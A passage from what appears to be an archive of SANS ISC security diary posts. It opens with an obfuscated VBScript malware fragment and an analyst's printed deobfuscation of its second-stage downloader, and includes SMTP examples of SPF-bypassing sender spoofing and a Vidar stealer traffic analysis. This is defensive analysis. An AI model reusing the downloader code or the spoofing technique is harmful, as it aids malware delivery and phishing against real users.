        KWZM = 348 - 9 - 463 - 16 - 305 + 154 - 255 + 493 + 240 + 441 - 8 - 23 - 116 + 132 + 22 - 41
        gmJg = cTln + DJlE
        if ( asc(mid(MRgD, i, 481 - 10 + 154 + 103 - 469 - 19 - 433 - 13 + 207)) > 276 - 269 - 21 - 4 + 497 - 383 - 163 + 330 + 352 - 568 and asc(mid(MRgD, i, 417 - 3 - 445 + 498 + 4 + 20 + 215 + 489 + 7 + 14 - 1215)) < 130 + 15 + 144 - 4 + 10 + 109 - 364 - 380 + 398 ) then
            qaux = gmJg and XqIc
            AYwV = 410 - 115 - 273 - 129 + 499 - 3 + 150 + 2 - 32
            whhI = whhI + mid(MRgD, i, 302 - 223 + 112 - 372 + 25 - 345 - 11 - 202 + 715)
            JNHe = JNHe and tztf
            FBD = 452 + 8 - 21 - 23 - 156 - 24 + 10 - 375 + 130
            LoKu = 240 + 492 - 11 - 482 + 391 + 15 - 451 - 2 - 7 + 21 + 475
            AYwV = vDI / tztf
            FQE = EkB and tztf
            AYwV = Log(EkB)
            Pts = Exp(CBTl)
            fEt = Exp(cTln)
            if FBD = 391 + 340 + 7 + 106 - 413 - 256 + 13 + 18 + 226 - 7 - 18 - 430 + 203 + 19 - 119 - 79 then
                fEt = 482 + 11 + 7 - 17 - 188 + 18 + 3 - 500 + 443 - 10 + 223 - 363 + 391 + 440 - 7 - 179 - 106
                LoKu = 160 - 147 - 335 - 167 - 21 + 21 - 6 + 2 - 342 + 1458
                FQE = gmJg + mpuU
                xba = CInt(whhI)
                UIh = xba xor kdH
                OaT = OaT + Chr(UIh)
                AYwV = 165 - 18 + 366 - 15 - 16 + 17 - 19 + 9 - 4 + 17 + 14 + 379 - 17 - 425 + 201
            end if
            vDI = 363 - 385 + 188 + 182 + 425 - 11 - 144 - 269 + 187 + 14 + 95
            LoKu = AYwV - Xear
            whhI = ""
            tztf = XqIc + gmJg
            HMTs = 240 - 11 + 304 + 382 + 299 + 195 - 10 + 395 + 12 + 20 + 11 - 2 - 186 - 215 + 373 - 151 - 940
            LoKu = Pts * KWZM
            FBD = 491 - 24 + 8 - 440 - 20 + 16 - 21 - 12 - 13 + 383 - 368
            FQE = CBTl / JNHe
            KWZM = EkB and mpuU
        end if
        CBTl = EkB * tztf
    UkX = OaT
    uox = mpuU or DJlE
    qaux = 334 - 25 + 15 + 372 + 388 - 25 + 10 - 17 - 101 - 353 + 248 + 469 - 11 - 733
    jqCe = 355 + 8 - 2 - 12 + 12 - 24 - 20 + 116 + 245
end function

The variable 'zANa' is a very long string:

zANa = "113X113Cv{fR100.    Q49Z$52?107Mo$|53)CgT113    PTx112!%aD{b21Cc<rRu49Bd}UD27aQ30{Wz!36-v122}zaq125v6,(c*7Z:nyFV115zGb:M114/*BE53xLm126MI!D122od22d25K-    *k34&?&W110XE122^uf112v+!l45lN;32yZc&S121;51<YmW-14P11o&CQE.110q:&:e10)u<SXV107QdP 121/112^Op}<Z17qXhP<62nuI37v~u$L113@Mv113rb[50)xWKZr8vqfYjy102e29o(T^V{119D113)bbQ}113< n@v 49X=Q59_!|121rh K122MD 121XK13d^V}47Ny*61tEcb49*124q!:120[(Dodk1.%XFH:96y,L~Rg15<l{24,h 121p112mE38p24Y^)_wj1VHw38?22n!ii 121 127=oV]SP65Z121;ViE125(50$)R27C+?60}Y7ogC45s14|=121w@122t125}    b36TKlZ24S^e*P45v    V^121=120l123k;twd101EM16d121f     B|    120Qr=fNI120s:#cX36;:    41~j65T!$Oh33([121Mt120d*rOQ123d27)hlf^0#*53f[%$s43p44zo*108hJM121Jh125    :x}[!46]/_$123pp[P~126~Iqxn51 .R!g113+126&K*-E39S]d  

As a security analyst, when I have to dive into malicious code, my goal is to understand as fast as possible if the code is malicious (most of the time, it is) but also what are the next actions and how to extract useful information to share with other teams to protect the organization (ex: sharing IOC’s)

I don’t have to spend time to understand how the function UkX() works. Just by having a look at the arguments, we can guess that it just decodes a string (arg1) with a key (arg2). Let’s execute the script in a sandbox but replace the ExecuteGlobal() function with WScript.Echo() to print the decoded content:

Here is the code for better readability:

on error resume next
set a=WScript.CreateObject(arr(0))
set b=WScript.CreateObject(arr(1))
set c=a.CreateShortcut(f)
if b.FileExists(f)=false Then
    Call u
    sub u
        set d=createobject(arr(6))
        set w=createobject(arr(7))
        d.Open arr(8),arr(9),False
        d.setRequestHeader arr(10),arr(11)
        with w
            .write d.responseBody
            .savetofile e,2
        end with
    end sub
    WScript.Sleep 60000
end if

This code uses an array (arr) that is created via a call to split() at the beginning. Let’s apply the same technique and re-execute the script with a "Wscript.echo KPH”:

The decoded & split array is:


We understand now that the second stage is downloaded from the above URL and dumped on disk as “VideoBoost.exe”. The PE file (SHA256:c91c4c5b3452147ae2dcd20c1fa33efe2c1f393443915b88cdcbd67909c46062) received a score of 7/70 on VT[3].

[1] https://www.virustotal.com/gui/file/9bf040f912fce08fd5b05dcff9ee31d05ade531eb932c767a5a532cc2643ea61/detection
[2] https://ss64.com/vb/execute.html
[3] https://www.virustotal.com/gui/file/c91c4c5b3452147ae2dcd20c1fa33efe2c1f393443915b88cdcbd67909c46062/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2019-10-17

Phishing e-mail spoofing SPF-enabled domain

On Monday, I found what looked like a run-of-the-mill phishing e-mail in my malware quarantine. The "hook" it used was quite a common one – it was a fake DHL delivery notification inserted as an image into the body of the e-mail in an attempt to make user open its attachments.

Phishing body


There were two attachments (see hashes bellow). RTF file masquerading as a Word Document ("SHIPPING DOCUMENT..doc"), which tried to exploit the famous %%cve:2017-11882%% vulnerability in Equation Editor used by Microsoft Office[1]. The second was an ACE archive ("INVOICE & AWB..ace"), containing a malicious executable ("mk.exe"). Although the executable was kind of interesting – it was an info stealer using Delphi packer[2] – the phishing turned out to be notable for a different reason. The spoofed sender domain had a Sender Policy Framework (SPF)[3,4] record set.
That, by itself, might not be that surprising – contrary to popular belief, setting a SPF record for a domain doesn’t mean that it will be impossible to use the domain in spoofed e-mail messages. Basically, SPF checks themselves cover only the "MAIL FROM" address (i.e. whether the sending server may send e-mails for the domain used in the "MAIL FROM" address) but don’t deal with contents of a "From" field in the e-mail header. This means that the following spoofing attempt will fail, providing that a SPF record for the "sender.tld" domain is correctly set.

HELO sender.tld
MAIL FROM:<sender@sender.tld>
RCPT TO:<receiver@receiver.tld>
From: "Sender" <sender@sender.tld>
To: "Receiver" <receiver@receiver.tld>
Date: Thu, 17 October 2019 10:15:00 +0100
Subject: Phishing?


However even with SPF record correctly set for the sender.tld domain, the following attempt at spoofing will pass SPF checks if the non-spf-domain.tld doesn’t have such record as well (although that doesn’t mean the spoofed e-mail won’t be blocked by some other security mechanism):

HELO non-spf-domain.tld
MAIL FROM:<sender@non-spf-domain.tld>
RCPT TO:<receiver@receiver.tld>
From: "Sender" <sender@sender.tld>
To: "Receiver" <receiver@receiver.tld>
Date: Thu, 17 October 2019 10:15:00 +0100
Subject: Phishing?


Due to its simplicity and effectiveness (to a user, sender seems to be the address in the "From" header of the message, not the address which was specified in "MAIL FROM"), this technique is often used by phishing authors when they send spoofed e-mail messages.
One could therefore expect that the same technique was used in the case of our e-mail, however this was not the case.

The sender appears to be dhlexpress@shipping.com and if we take a look at the headers, we’ll see that the same e-mail was used as the "MAIL FROM" address. We may also discover that although a SPF check took place, it ended in "Neutral" result. This means that the SPF record doesn’t state whether the sending IP is or is not authorized to send e-mails for the domain.

SPF check

To understand the last line of the header and the reason for the result, one only needs to know that SPF enables us to use qualifiers to specify from which hosts should e-mails be accepted/passed (+), from which hosts they should be dropped/failed (-), from which they should be marked as suspicious/softfailed (~) and for which hosts the policy isn’t specified (?). The record for shipping.com which we see above therefore basically specifies that several servers are permitted to send e-mails for the domain and for all others may do so as well. Benefits of such SPF records are disputable at best.
Although it is not too usual to see such records and related phishing e-mails, this was not the first time I’ve come across such a case… And after having a look at the Alexa top 100 domains and finding two cases of SPF records containing "?all" even there, it seems that these are actually more common than one might think.
If you use such a SPF record on any of your domains, consider whether the more traditional "~all" or "-all" really isn’t an option for you.
And if you don’t have SPF set up yet, please do so – it will take you only a minute (all you need to do is create a new DNS TXT record) and although it’s not a silver bullet against phishing, it definitely won't hurt.

MD5 - bc759db68c1f1611745216a4e0431201
SHA1 - 22e77a3ee9acc597500dbda6a82b7bd2d13d50b7

MD5 - 673e823b66bce777f37377bd4aa07f71
SHA1 - 73f7a10fefa04432b18d9af9d4c774ecca815d5c

MD5 - 3c9aa414308ec74eb24b30875c755241
SHA1 - 06fba1adac357a7d338cc3a9a7eb2c68282d260b

[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
[2] https://www.fireeye.com/blog/threat-research/2018/09/increased-use-of-delphi-packer-to-evade-malware-classification.html
[3] https://tools.ietf.org/html/rfc4408
[4] https://tools.ietf.org/html/rfc7208

Jan Kopriva
Alef Nula


Published: 2019-10-16

Security Monitoring: At Network or Host Level?

Today, to reach a decent security maturity, the keyword remains "visibility". There is nothing more frustrating than being blind about what's happening on a network or starting an investigation without any data (logs, events) to process. The question is: how to efficiently keep an eye on what's happening on your network? There are three key locations to collect data:

  • The perimeter (firewalls, proxies, etc)
  • Hosts (servers, endpoints)
  • The network

Performing log collection at the perimeter sounds the bare minimum for many years but it's not sufficient (Example: How to detect lateral movement on your LAN?) and everybody agrees to say that the perimeter is gone for years.

You can deploy controls and collect information at the host level with tools like Sysmon[1], OSSEC[2] and many other end-points solutions. The problem is a constant fight between teams in big organizations. System admins are not always happy to deploy more and more agents. It also has a constraint in terms of management, upgrades, costs (license for a commercial product) and how do you handle people who bring their own device?

I'm more and more convinced that network monitoring is a key element today. Just by sniffing the traffic at critical exchange points in the network, you have full visibility and increase capacities to detect suspicious traffic. I'll give you two practical examples that I faced during the BruCON[3] security conference last week (where I'm involved in the NOC/SOC). Basically, the network is used by untrusted devices and people.

First, we had to track somebody based on a downloaded picture. We knew the timestamp and found corresponding pictures on the filesystem of the server. Based on the hash, we found the TCP flow corresponding to the download and finally the IP address assigned by DHCP, the device name and its MAC address. In less than 15 mins.

In the second example, somebody was testing some exploits on a laptop (an official test, nothing malicious). We were able to detect the call-back to the C2 (Cobalt-Strike). In this situation, you don't know what's happening on the end-point but you know that it is for sure compromized.

Even if today more and more traffic is encrypted, it is possible to detect suspicious activity just by having a look at the network flows. When they occur, how often, the size of transferred data, the destination, etc.

What was deployed:

  • Zeek (Bro)
  • Full packet capture
  • Full logging of flows
  • Transparent Proxy
  • Extract of interesting files
  • Splunk

Of course, network monitoring can be implemented only on networks that you control. You can't control devices that travel (like laptops). That's why, in a perfect world, you need both (network & host controls) but the amount of information that can be collected and analyzed on networks is amazing! If you are interested in this field, I recommend you the FOR572[4] training: "Advanced Network Forensics: Threat Hunting, Analysis, and Incident Response".

[1] https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
[2] https://ossec.net
[3] https://brucon.org
[4] https://www.sans.org/course/advanced-network-forensics-threat-hunting-incident-response

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2019-10-14

When MacOS Catalina Comes to Life: The First Few Minutes of Network Traffic From MacOS 10.15.

This post is continuing a series I started in April about network traffic from Windows 10. When dealing with network traffic, it is always good to know what is normal. As part of this series, I will investigate the first few minutes of network traffic from current operating systems. With macOS 10.15 Catalina just being released, I figured this might be an excellent next operating system to investigate.

Lets first start with some basic fingerprinting. TCP SYN packets from MacOS 10.15 look just like SYN packets from earlier macOS versions:

Flags [SEW], seq 4259408247, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 801728007 ecr 0,sackOK,eol], length 0

macOS is one of a few operating systems using ECN by default. It attempts to use the maximum possible window size, but also offers Window Scaling. Like all modern operating systems, macOS uses PMTUD to avoid fragmentation.

1. Catalina Install

For this experiment, I installed Catalina in a virtual machine. The first connections during the install set the time via Apple's "time.apple.com" NTP server. Next, the system connected to "albert.apple.com" via HTTPS, Apple's secure activation server. OCSP is used to verify the certificates. The system also checks if it has internet connectivity via "https://www.apple.com/library/test/success.html" and connects to swscan.apple.com. This server is used to distribute Apple software. The connection uses HTTPS, so it isn't clear what the installer is looking for, but likely supplemental software. In my case, the system connected 18 times and retrieved about 42 MBytes in total.

Interesting: During the install, the system connected 206 times to gspe21-ssl.ls.apple.com, retrieving about 23 MBytes. The system appears to be associated with Apple's mapping service (http://gspe21.ls.apple.com/html/attribution.html), but of course, it may have other functions as well.

Other significant connections retrieve language-specific dictionaries. These are the only significant HTTP connections.

2. First Boot

The first boot started out a lot like the install with a connection to time.apple.com. But unlike during the install, which used connections pretty much exclusively to Apple's own systems, macOS does connect to a few non-Apple networks:

  • apple-finance.query.yahoo.com - Retrieve stock quotes

After starting Safari, a few additional connections popped up to load icons for the start screen:

  • www.yelp.com
  • www.yahoo.com
  • www.weather.com
  • www.tripadvisor.com
  • www.linkedin.com
  • www.facebook.com
  • www.bing.com
  • www.twitter.com

There was a lot of talk about Safari's connection to Tencent for its "Safe Browsing" feature. Apple stated that only systems in China would connect to Tencent, and I did not observe any connections not in line with Apple's statement.

Apple uses various CDNs, so the exact IP addresses will vary based on your location. I ran these experiments while in Chicago, IL. 

Links to PCAP data:


This post has also been cross-posted to our newish SEC503 Blog: Show Me The Packets!

Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute


Published: 2019-10-14

YARA's XOR Modifier

YARA searches for strings inside files. Strings to search for are defined with YARA rules.

With the release of YARA 3.8.0, support for searching for XOR encoded strings was introduced. By adding the modifier xor to the definition of a string, YARA 3.8.0 would search for strings that were XOR encoded, with a single-byte key, ranging from 1 to 255.

Here is an example of a string with xor modifier.

    rule xor_test {
            $a = "https://isc.sans.edu" xor

This YARA version's xor modifier would not match unencoded strings.

Apparently, that was not the purpose, and this was fixed with version 3.10.0.

The same rule would now also match unencoded strings.

With the latest version of YARA, 3.11.0, a YARA rule developer has now control over which XOR key range is used by modifier xor.

This is done by specifing an optional minimum-key - maximum-key range after the xor modifier, like this: xor(min-max).

The following rule has an xor modifier with key range 0x01-0xFF (minimum/maximum keys can be specified with decimal or hexadecimal values).

    rule xor_test {
            $a = "https://isc.sans.edu" xor(0x01-0xFF)

This rule will not match unencoded strings.


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2019-10-12

YARA v3.11.0 released

A new version of YARA was released: v3.11.0.

New features that got my attention: more flexible XOR modifier and private strings.


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2019-10-10

Mining Live Networks for OUI Data Oddness

My last story was a short script that takes MAC addresses in, and returns the OUI portion of that, along with the vendor who corresponds to that OUI.  (https://isc.sans.edu/diary/Mining+MAC+Address+and+OUI+Information/25360) Today we'll port that to PowerShell as a function and use that on a live network for some "hunting" to look for odd things.

A few things to note:

  • The original script has been updated so that it cleans up the download a bit better (mostly for this PowerShell implementation to use)
  • The PowerShell version doesn't download the data file, so to use this you'll need to download and run the original script.
  • So if you've already used that script, pull it down again and update the data file.
  • So far, this script handles the standard 24 bit (3 byte) OUIs.  28 and 36 bit OUIs match on the first 24 bits only (so far).

On with today's story - First, the function:

# assumes that the oui.txt file exists, and that its in c:\utils - edit this to fit your implementation
# declare this variable globally so that the OUILookup function doesn't have read the file each time it is called

$global:ouilist = import-csv -Delimiter "`t" -path "c:\utils\oui.txt"

function OUILookup {
    # limited to traditional 6 digit OUIs for now

    # take the input, replace all mac delimeters
    $MAC = $args[0] -replace "[-:\.]",""

    # grab the first 6 chars for an OUI first pass
    $OUI = $MAC.Substring(0,6).ToUpper()

    #find the OUI in the table
    foreach ($entry in $ouilist){
      if ($oui -eq $entry.OUI){
         return $entry

How can we use this?  In our first case, let's read all MAC addresses from a switch, then lookup the vendor for each unique MAC.  There are several OID (Object ID) strings that return MAC addresses, I picked the one I did because it also returns the interface number the MAC is associated with - that might be useful in a future story :-)
Note that I'm using SNMPv2 in this (just to keep the code simple).  I would strongly suggest that you use SNMPv3 in any production environment (SNMPv2 calls and returns are all in clear text, SNMPv3 adds encryption).  I'd also suggest that you use an ACL on your SNMP configuration so that only trusted hosts are allowed to make SNMP calls.  The CIS Benchmark for your switch will give you more detail on this, as well as a plethora of other advice on hardening your switch configuration against various attacks.

$IP = ""

$OID = "."

$CommString = "SomeComplexString"


$WalkVals = invoke-snmpwalk -ip $IP -OIDStart $OID -Community $CommString -Walkmode WithinSubtree


$trimlength = $OID.length +1

$MACtoOUIList = @()


foreach($val in $walkvals) {

   # get the decimal representation of the MAC

   $macdec = ($val.oid).Substring($trimlength)

   $machex = ""

   $macdec.split(".") | foreach { $machex += '{0:x2}' -f [int32]$_ }

   $ouitemp = ouilookup $machex

   $ouitemp | add-member -membertype NoteProperty -name MAC -value $machex.toupper()

   $MACtoOUIList += $ouitemp


Now we have the list of MACs with the OUI information for each:


OUI    Vendor   VendorString          MAC        
---    ------   ------------          ---        
000C29 Vmware   VMware, Inc.          000C299E2499
000C29 Vmware   VMware, Inc.          000C299F48E4
002179 Iogear   IOGEAR, Inc.          002179C4214F
005F86 Cisco    Cisco Systems, Inc    005F86D7E636
005F86 Cisco    Cisco Systems, Inc    005F86D7E64E
1002B5 IntelCor Intel Corporate       1002B53F75AF
2C4D54 AsustekC ASUSTek COMPUTER INC. 2C4D54B0CB50
305A3A AsustekC ASUSTek COMPUTER INC. 305A3AC53618
38D547 AsustekC ASUSTek COMPUTER INC. 38D547E59358
40B034 HewlettP Hewlett Packard       40B0347248E4
6C19C0 Apple    Apple, Inc.           6C19C09CF5AF
6C96CF Apple    Apple, Inc.           6C96CFAFC428
8866A5 Apple    Apple, Inc.           8866A54044E0
9061AE IntelCor Intel Corporate       9061AEF05A14
A0CEC8 CeLink   Ce Link Limited       A0CEC817F51F
D04F7E Apple    Apple, Inc.           D04F7E776F2B
DCEB94 Cisco    Cisco Systems, Inc    DCEB94742629
E4E130 TctMobil TCT mobile ltd        E4E1301676C5

Let's sort and group them now, to get a count of unique OUIs.  We'll sort them so that the "outliers" bubble up to the top - in so many situations we're looking for values that are "odd"

$MACtoOUIList | select OUI, Vendor | sort -Property OUI | Group-Object OUI,Vendor -NoElement | sort count

Count Name                  
----- ----                    
    1 002179, Iogear          
    1 1002B5, IntelCor        
    1 2C4D54, AsustekC        
    1 305A3A, AsustekC        
    1 38D547, AsustekC        
    1 40B034, HewlettP        
    1 6C19C0, Apple           
    1 6C96CF, Apple           
    1 8866A5, Apple           
    1 9061AE, IntelCor        
    1 A0CEC8, CeLink          
    1 D04F7E, Apple           
    1 DCEB94, Cisco           
    1 E4E130, TctMobil        
    2 000C29, Vmware          
    2 005F86, Cisco     

Not a lot of oddness to find on my home network - that TctMobil OUI I think is my wife's new phone, which was interesting - that's about it.

Let's cast our net a bit wider, and read the DHCP database from a windows DHCP server and return the vendor for each MAC address, with the device name and IP.
We covered how to "mine" the DHCP database in a story a while back: https://isc.sans.edu/forums/diary/DNS+and+DHCP+Recon+using+Powershell/20995/

First, collect the DHCP Leases, then for each MAC Address (Client-ID), get the OUI, all collected into on variable list:

$leases = foreach ($lease in $leases) { $targetouilist += OUILookup $lease.clientid }
$targetouilist = @()
foreach ($lease in $leases) { $targetouilist += OUILookup $lease.clientid }

Again, lets look for outliers, sorting by ascending count:

$MACtoOUIList | select OUI, Vendor | sort -Property OUI | Group-Object OUI,Vendor -NoElement | sort count

Count Name                    
----- ----                    
    1 0004F2, Polycom         
    1 AC88FD, Apple           
    1 A85C2C, Apple           
    1 A46CF1, SamsungE        
    1 A41F72, Dell            
    1 A0D795, Apple           
    1 A0C9A0, MurataMa        
    1 9CEBE8, BizlinkK        
    1 9C5A44, CompalIn        
    1 985FD3, Microsof        
    1 9800C6, Apple           
    1 9061AE, IntelCor        
    1 88E9FE, Apple           
    1 843A4B, IntelCor        
    1 842B2B, Dell            
    1 80C5F2, Azurewav 

In a network of a couple thousand workstations, there definitely is some stuff to dig into here.  Just for starters (and without more than a glance at the data), this client had recently completed a VOIP migration from one vendor to another - you see from our "outliers" list that there's one phone that got missed.  I'll be digging into this a bit more (and for a few more clients) over the next while - feel free to do the same! (on your own networks of course)

Please, use our comment form and let us know if you find anything "interesting"!

Rob VandenBrink
rob <at> coherentsecurity.com


Published: 2019-10-09

What data does Vidar malware steal from an infected host?


What is Vidar?  Vidar is malware that's an information stealer.  It has very distinct infection traffic.  What does it steal?  Let's examine some infection traffic to find out.  Today's diary reviews some infection traffic from a malicious Word document discovered on Tuesday 2019-10-08 that uses macros to push Vidar.

Shown above:  The malicious Word document found in VirusTotal.

The malicious Word document

VirusTotal and other sources like URLhaus show a malicious Word document (SHA256 hash: 0c91fa2d30e1981d8ac276ecaacb4225c3bef5be8143597720e37e7dc5447099) was available on two blocklisted URLs hosted at speciosarepublic[.]com as early as Tuesday 2019-10-08.  I checked one of the URLs and was able to retrieve the Word document.

Shown above:  Downloading the malicious Word document.

Shown above:  Opening the malicious Word document.

Shown above:  After enabling macros, you can see text that was probably supposed to appear before enabling macros.

Infection traffic

I submitted the URL to the Any.Run sandbox, and it generated traffic with alerts for Vidar.  When viewed in Wireshark, the last HTTP request in the infection traffic ends with:

POST / HTTP/1.1  (zip)

This indicates a zip archive was sent to a command and control server at weimachel[.]net.

Shown above:  Infection traffic from the Any.Run analysis filtered in Wireshark.

Shown above:  Follow TCP stream in Wireshark for the last HTTP POST request.

Shown above:  This TCP stream has multiple HTTP POST requests, so scroll down to find the final one.

Shown above:  Scroll down further, and you'll find the zip archive sent during the final HTTP POST request.

Extracting the zip archive from the pcap

We can extract data from the final HTTP POST request from the pcap.  Then we can carve the zip archive from the extracted data as shown in the images below.

Shown above:  File --> Export Objects --> HTTP...

Shown above:  Wireshark's HTTP object list, and exportable data that contains the POST-ed zip archive.

Shown above:  After exporting the binary from Wireshark, open it in a hex editor and delete data POST-ed before the actual zip archive.

Shown above:  The first two bytes of a zip archive show as ASCII characters PK, so delete POST-ed data before that.

Shown above:  The beginning is of the zip archive is now the beginning of the file.

Shown above:  Delete the ending boundary marker from the HTTP POST request at the end of this file.

After you've carved and saved the binary, it should be a fully-functional zip archive.  The contents can be extracted with an archive manager, and you can review what data was exfiltrated from the infected Windows host.  This data includes system information, passwords, browser cookies, and a screenshot of the desktop.

Shown above:  Contents of the zip archive, after it's carved from the extracted data.

Final words

Sandbox analysis of this malicious Word doc can be found here, where you can download the pcap, review the data, and try extracting the zip archive using Wireshark.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2019-10-08

Microsoft October 2019 Patch Tuesday

This month we got patches for 59 vulnerabilities total. None of them have been previously disclosed nor are being exploited according to Microsoft. 

Amongst 9 critical vulnerabilities, its worth mentioning the remote code execution one which affects Microsoft XML Core Services (CVE-2019-1060). To exploit this vulnerability, an attacker would have to convince a user to access a specially crafted website designed to invoke MSXML through the web browser. When Internet Explorer parses the malicious content, the attacker could run malicious code remotely on users’s system.  

There is also a critical remote execution vulnerability Windows Remote Desktop Client (CVE-2019-1333). To exploit this vulnerability, an attacker would have to force the user to connect to a malicious server or compromise a legitimate server to host the malicious code on it, and wait for the users to connect. 

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
Azure App Service Remote Code Execution Vulnerability
%%cve:2019-1372%% No No Less Likely Less Likely Critical    
Chakra Scripting Engine Memory Corruption Vulnerability
%%cve:2019-1307%% No No - - Critical 4.2 3.8
%%cve:2019-1308%% No No - - Critical 4.2 3.8
%%cve:2019-1335%% No No - - Critical 4.2 3.8
%%cve:2019-1366%% No No - - Critical 4.2 3.8
Hyper-V Information Disclosure Vulnerability
%%cve:2019-1230%% No No Less Likely Less Likely Important 6.8 6.1
Internet Explorer Memory Corruption Vulnerability
%%cve:2019-1371%% No No Less Likely Less Likely Important 6.4 5.8
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2019-1358%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1359%% No No Less Likely Less Likely Important 7.8 7.0
Latest Servicing Stack Updates
ADV990001 No No - - Critical    
MS XML Remote Code Execution Vulnerability
%%cve:2019-1060%% No No Less Likely Less Likely Critical 6.4 5.8
Microsoft Browser Spoofing Vulnerability
%%cve:2019-0608%% No No Less Likely Less Likely Important 2.4 2.2
%%cve:2019-1357%% No No Less Likely Less Likely Important 3.5 3.2
Microsoft Dynamics 365 (On-Premise) Cross Site Scripting Vulnerability
%%cve:2019-1375%% No No Less Likely Less Likely Important    
Microsoft Edge based on Edge HTML Information Disclosure Vulnerability
%%cve:2019-1356%% No No - - Important 4.3 3.9
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2019-1327%% No No Less Likely Less Likely Important    
%%cve:2019-1331%% No No Less Likely Less Likely Important    
Microsoft Graphics Components Information Disclosure Vulnerability
%%cve:2019-1361%% No No - - Important 5.5 5.0
Microsoft IIS Server Elevation of Privilege Vulnerability
%%cve:2019-1365%% No No Less Likely Less Likely Important 7.5 6.7
Microsoft Office SharePoint XSS Vulnerability
%%cve:2019-1070%% No No - - Important    
Microsoft SharePoint Elevation of Privilege Vulnerability
%%cve:2019-1329%% No No - - Important    
%%cve:2019-1330%% No No Less Likely Less Likely Important    
Microsoft SharePoint Spoofing Vulnerability
%%cve:2019-1328%% No No - - Important    
Microsoft Windows CloudStore Elevation of Privilege Vulnerability
%%cve:2019-1321%% No No Less Likely Less Likely Important 5.8 5.2
Microsoft Windows Denial of Service Vulnerability
%%cve:2019-1317%% No No Less Likely Less Likely Important 6.4 5.8
Microsoft Windows Elevation of Privilege Vulnerability
%%cve:2019-1320%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2019-1322%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2019-1340%% No No Less Likely Less Likely Important 7.8 7.0
Microsoft Windows Setup Elevation of Privilege Vulnerability
%%cve:2019-1316%% No No Less Likely Less Likely Important 7.3 6.6
Microsoft Windows Transport Layer Security Spoofing Vulnerability
%%cve:2019-1318%% No No Less Likely Less Likely Important 7.7 6.9
Microsoft Windows Update Client Elevation of Privilege Vulnerability
%%cve:2019-1323%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2019-1336%% No No Less Likely Less Likely Important 7.0 6.3
Open Enclave SDK Information Disclosure Vulnerability
%%cve:2019-1369%% No No Less Likely Less Likely Important    
Remote Desktop Client Remote Code Execution Vulnerability
%%cve:2019-1333%% No No More Likely More Likely Critical 7.5 6.7
SQL Server Management Studio Information Disclosure Vulnerability
%%cve:2019-1313%% No No Less Likely Less Likely Important    
%%cve:2019-1376%% No No Less Likely Less Likely Important    
VBScript Remote Code Execution Vulnerability
%%cve:2019-1238%% No No Less Likely Less Likely Critical 6.4 5.8
%%cve:2019-1239%% No No - - Critical 6.4 5.8
Win32k Elevation of Privilege Vulnerability
%%cve:2019-1362%% No No - - Important 7.0 6.3
%%cve:2019-1364%% No No - - Important 7.0 6.3
Windows 10 Mobile Security Feature Bypass Vulnerability
%%cve:2019-1314%% No No Less Likely Less Likely Important    
Windows Code Integrity Module Information Disclosure Vulnerability
%%cve:2019-1344%% No No Less Likely Less Likely Important 5.5 5.0
Windows Denial of Service Vulnerability
%%cve:2019-1343%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2019-1346%% No No Less Likely Less Likely Important 5.7 5.1
%%cve:2019-1347%% No No Less Likely Less Likely Important 5.7 5.1
Windows Error Reporting Elevation of Privilege Vulnerability
%%cve:2019-1319%% No No Less Likely Less Likely Important 7.0 6.3
Windows Error Reporting Manager Elevation of Privilege Vulnerability
%%cve:2019-1342%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2019-1315%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1339%% No No - - Important 7.8 7.0
Windows GDI Information Disclosure Vulnerability
%%cve:2019-1363%% No No - - Important 5.5 5.0
Windows Imaging API Remote Code Execution Vulnerability
%%cve:2019-1311%% No No Less Likely Less Likely Important 7.8 7.0
Windows Kernel Information Disclosure Vulnerability
%%cve:2019-1345%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2019-1334%% No No Less Likely Less Likely Important 4.7 4.2
Windows NTLM Security Feature Bypass Vulnerability
%%cve:2019-1338%% No No - - Important 5.3 4.8
Windows NTLM Tampering Vulnerability
%%cve:2019-1166%% No No Less Likely Less Likely Important 5.9 5.3
Windows Power Service Elevation of Privilege Vulnerability
%%cve:2019-1341%% No No More Likely More Likely Important 7.8 7.0
Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability
%%cve:2019-1325%% No No Less Likely Unlikely Important 5.5 5.0
Windows Remote Desktop Protocol (RDP) Denial of Service Vulnerability
%%cve:2019-1326%% No No Less Likely Less Likely Important 7.5 6.7
Windows Secure Boot Security Feature Bypass Vulnerability
%%cve:2019-1368%% No No Less Likely Less Likely Important 4.9 4.4
Windows Update Client Information Disclosure Vulnerability
%%cve:2019-1337%% No No Less Likely Less Likely Important 5.5 5.0


Renato Marinho
Morphus Labs| LinkedIn|Twitter


Published: 2019-10-06

visNetwork for Network Data

DFIR Redefined Part 3 - Deeper Functionality for Investigators with R series continued

In keeping with pending presentations for the Secure Iowa Conference and (ISC)2 Security Congress, I’m continuing the DFIR Redefined: Deeper Functionality for Investigators with R series (see Part 1 and Part 2). Incident responders and investigators, faced with an inundation of data and ever-evolving threat vectors, require skills enhancements and analytics optimization. DFIR Redefined is intended to explore such opportunities to create efficiencies and help the blue team cause. visNetwork represents another fine example of visualizing datasets in a manner that analysts can naturally gravitate towards.

Inspired by the STATWORX writeup on visNetwork, I immediately envisioned using it for malicious IP network activity.
Imagine the following scenario.
